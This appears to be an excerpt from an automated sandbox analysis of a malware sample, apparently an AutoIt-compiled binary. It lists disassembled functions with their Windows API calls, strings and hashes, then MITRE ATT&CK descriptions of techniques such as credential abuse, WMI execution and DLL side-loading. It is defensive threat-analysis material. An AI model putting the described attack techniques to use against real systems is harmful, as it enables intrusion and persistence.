Function 002B6943 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 002B69D0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 002B69DB

Strings

Combobox, xrefs: 002B699D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 2047d85fc0f0f268ce2cae79d437b47ed44e8a6fc0f2c2b817b2a1d7d2a672b8
Instruction ID: 02a3fc85384de262cbf028513bf0c76821f5c9f3f4cc1fb8ef432ebcba396790
Opcode Fuzzy Hash: 2047d85fc0f0f268ce2cae79d437b47ed44e8a6fc0f2c2b817b2a1d7d2a672b8
Instruction Fuzzy Hash: 1511C47172060A6FEF119F14CC84EFB776EEB893E4F110125F95897290D675AC618BA0

Function 002B6E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00231D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00231D73
Part of subcall function 00231D35: GetStockObject.GDI32(00000011), ref: 00231D87
Part of subcall function 00231D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00231D91

GetWindowRect.USER32(00000000,?), ref: 002B6EE0
GetSysColor.USER32(00000012), ref: 002B6EFA

Strings

static, xrefs: 002B6EBD

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 4f8ea60916b3049d7d1bf8a0f76f13d0cb656c1bb82d50fac9f55eb897c005bd
Instruction ID: 03816b3d2d99e549c10bcd2bcb841ca0531b5ea7e9368bb632157b1b3bba409b
Opcode Fuzzy Hash: 4f8ea60916b3049d7d1bf8a0f76f13d0cb656c1bb82d50fac9f55eb897c005bd
Instruction Fuzzy Hash: C421147262020AAFDB04DFA8DD49AFA7BA8EB08354F004629FD55D2250E674E861DB60

Function 002B6B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 002B6C11
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 002B6C20

Strings

edit, xrefs: 002B6BF5

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: fb71070acd25c5c6fae4fbc7c41002c8ef5b00647ba33a8d695f5584df16fe21
Instruction ID: f31caa7aedac6ff53844f3ae8cfabd9fea59c3c37da7d965f40f368d6fa3cd13
Opcode Fuzzy Hash: fb71070acd25c5c6fae4fbc7c41002c8ef5b00647ba33a8d695f5584df16fe21
Instruction Fuzzy Hash: 6111BF71120109ABEB114E64DC49AFB3B69EB053B8F204724F960E31E0C779DCA19B60

Function 00292E9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00292F11
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00292F30

Strings

0, xrefs: 00292F07

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 38816e34971d2282725604610045d1b31d4d6ac9db223a9a4230777a92816256
Instruction ID: f638fbb8381a2f490cac854ea55771cfbe96dc29a890ddfa1d25ba494f7539ba
Opcode Fuzzy Hash: 38816e34971d2282725604610045d1b31d4d6ac9db223a9a4230777a92816256
Instruction Fuzzy Hash: 0C117C31921215FADF21DE58DC4CBA977B9EB05350F1400B5E858A72A0D7B0ED28C791

Function 002A24CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 002A2520
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 002A2549

Strings

<local>, xrefs: 002A2511

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 23b44500c8b36edc6a5a9ce816ee053e9a1edc5a0963270b00329ebb3a0afacf
Instruction ID: 633712fdb987eb051b153bb005ba2debd48b4b13bb596cbe422c0050c885b13b
Opcode Fuzzy Hash: 23b44500c8b36edc6a5a9ce816ee053e9a1edc5a0963270b00329ebb3a0afacf
Instruction Fuzzy Hash: 1211E370921226FBDB289F598C98EFBFF68FB07751F50812AF50542040DAB06968DAE0

Function 002A80A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 002A830B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,002A80C8,?,00000000,?,?), ref: 002A8322

inet_addr.WS2_32(00000000), ref: 002A80CB
htons.WS2_32(00000000), ref: 002A8108

Strings

255.255.255.255, xrefs: 002A80E3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 9429e4d86b784f904a065efa97e85080bd1cacdeeadb3d10dee6e9952cfeca2a
Instruction ID: 9b597586e51823ae8488e18086011e841e89618010d5f35d63a2a3f6d3c4c8b9
Opcode Fuzzy Hash: 9429e4d86b784f904a065efa97e85080bd1cacdeeadb3d10dee6e9952cfeca2a
Instruction Fuzzy Hash: 8B11E174620205ABDB20AF64CC46FBDB774FF05320F10856BE9159B2D2DE72A825DB91

Function 00240A8D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00233C26,002F62F8,?,?,?), ref: 00240ACE

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

_wcscat.LIBCMT ref: 002750E1

Strings

c/, xrefs: 00240B0E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: c/
API String ID: 257928180-19960225
Opcode ID: a1f19864202d877d9935f4f55c8629addde29ee8583956156e6fae85517ebe9b
Instruction ID: 31a6642696272d7652a4c1efea8a1baa77d027f76b9fdf591f50a0865ea04eca
Opcode Fuzzy Hash: a1f19864202d877d9935f4f55c8629addde29ee8583956156e6fae85517ebe9b
Instruction Fuzzy Hash: A811A57093420C9A8B54EBA4DC49EE973F8EF0C754F0040A5BA49D7241EA709AF88F15

Function 002892E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 0028B0C4: GetClassNameW.USER32(?,?,000000FF), ref: 0028B0E7

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00289355

Strings

ComboBox, xrefs: 002892F4
ListBox, xrefs: 0028931F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 394c5ea3082b56311b0a5ef914fc02907e88f7b91281a0f6e30c58b8293e99f4
Instruction ID: daa8f2318a459b867fd2fcf22a58c42225435fb7e7618402551ae0b64b57da4c
Opcode Fuzzy Hash: 394c5ea3082b56311b0a5ef914fc02907e88f7b91281a0f6e30c58b8293e99f4
Instruction Fuzzy Hash: 5D01F1B5A62215ABCB05FBA0CC918FE73A9BF06320B540659F832573D2DB31586C9B50

Function 002891DF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 0028B0C4: GetClassNameW.USER32(?,?,000000FF), ref: 0028B0E7

SendMessageW.USER32(?,00000180,00000000,?), ref: 0028924D

Strings

ComboBox, xrefs: 002891EC
ListBox, xrefs: 00289217

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 32675cd59a2538f7227e6298949ca46e233bd0facf47844b8c3c386569030a3b
Instruction ID: b904cef93eae8e06595f8bbbd7742a2c8c4a5a9a3dbdece25a0d1dfed6c1407b
Opcode Fuzzy Hash: 32675cd59a2538f7227e6298949ca46e233bd0facf47844b8c3c386569030a3b
Instruction Fuzzy Hash: 7A01A7B5A621057BCF15FBA0C9A2DFF73ACAF05300F540129B916672C1EA116F6C9BB1

Function 00289264 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 0028B0C4: GetClassNameW.USER32(?,?,000000FF), ref: 0028B0E7

SendMessageW.USER32(?,00000182,?,00000000), ref: 002892D0

Strings

ComboBox, xrefs: 00289271
ListBox, xrefs: 0028929C

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 3d6f89e2592f4ea046ce276244ccc189b65855797e45429438b682f0a3da300b
Instruction ID: d49fe56aeb44b7071203bb220479ba84fe161afc0e1123362f23eaa71b963692
Opcode Fuzzy Hash: 3d6f89e2592f4ea046ce276244ccc189b65855797e45429438b682f0a3da300b
Instruction Fuzzy Hash: 5601F7B5A6210977DF10FBA4C982EFF73ACAF01300F5401167C12632C2DA115E2C9B71

Function 00256DAE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00256DD0
__calloc_crt.LIBCMT ref: 00256DE9

Strings

@R/, xrefs: 00256E00

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __calloc_crt
String ID: @R/
API String ID: 3494438863-2894550621
Opcode ID: 553dfd389ef4f71d5ab0ef1cf424f1ba38c89fac7917e1dd5459323778242b5a
Instruction ID: d15b673bd13cc020497162913abd28f7bee94d4bbb387b9054ffad143e92d956
Opcode Fuzzy Hash: 553dfd389ef4f71d5ab0ef1cf424f1ba38c89fac7917e1dd5459323778242b5a
Instruction Fuzzy Hash: 3BF0C27132A7139BF724CF19FE0DA7127A5E740371B900836ED00DB585EB7088A9CB88

Function 002951CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 002951E8
_wcscmp.LIBCMT ref: 002951FA

Strings

#32770, xrefs: 002951F4

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: de3d059b7b947e266dd07dc8c5983cbb127705e219e8ef8ed669358a1553487d
Instruction ID: 1c69d7e354d7a6bde4815b4b926332f3266ebfa07960b95370b94f39c8966d47
Opcode Fuzzy Hash: de3d059b7b947e266dd07dc8c5983cbb127705e219e8ef8ed669358a1553487d
Instruction Fuzzy Hash: 9BE09272E042292AE7209BA9AC49AA7F7ACEB45771F0001AAFD14D3050E560AA558BE1

Function 002881BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 002881CA

Part of subcall function 00253598: _doexit.LIBCMT ref: 002535A2

Strings

Error allocating memory., xrefs: 002881C3
AutoIt, xrefs: 002881BE

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 19b5b390827b924381deb83cfa8a3298f5e286bf6a2d6bba56ca83113c204122
Instruction ID: c9898aef70cfd038ce68b911a9a6f65a54d763d7fa2ebe381b7fe9f50e36ec7e
Opcode Fuzzy Hash: 19b5b390827b924381deb83cfa8a3298f5e286bf6a2d6bba56ca83113c204122
Instruction Fuzzy Hash: 40D05B323E535832D21572A57D0BFC576484B0AF52F404416FF08555D38EE155F146DD

Function 0026B511 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0026B564: _memset.LIBCMT ref: 0026B571

Part of subcall function 00250B84: InitializeCriticalSectionAndSpinCount.KERNEL32(002F5158,00000000,002F5144,0026B540,?,?,?,0023100A), ref: 00250B89

IsDebuggerPresent.KERNEL32(?,?,?,0023100A), ref: 0026B544
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0023100A), ref: 0026B553

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0026B54E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: bfd4d79d8fd6b6b2993a5b5ac4a451113bb3138e7cc20658f46b83a17cdec13a
Instruction ID: 2fd9a1cc4d4ecced35b065727d1ce73806aa6c9c2052d6aa2632a788ac15475b
Opcode Fuzzy Hash: bfd4d79d8fd6b6b2993a5b5ac4a451113bb3138e7cc20658f46b83a17cdec13a
Instruction Fuzzy Hash: EDE06DB02203118BD362DF28E9487827BE0AF00754F048A2DE846C2361E7B4E898CF61

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
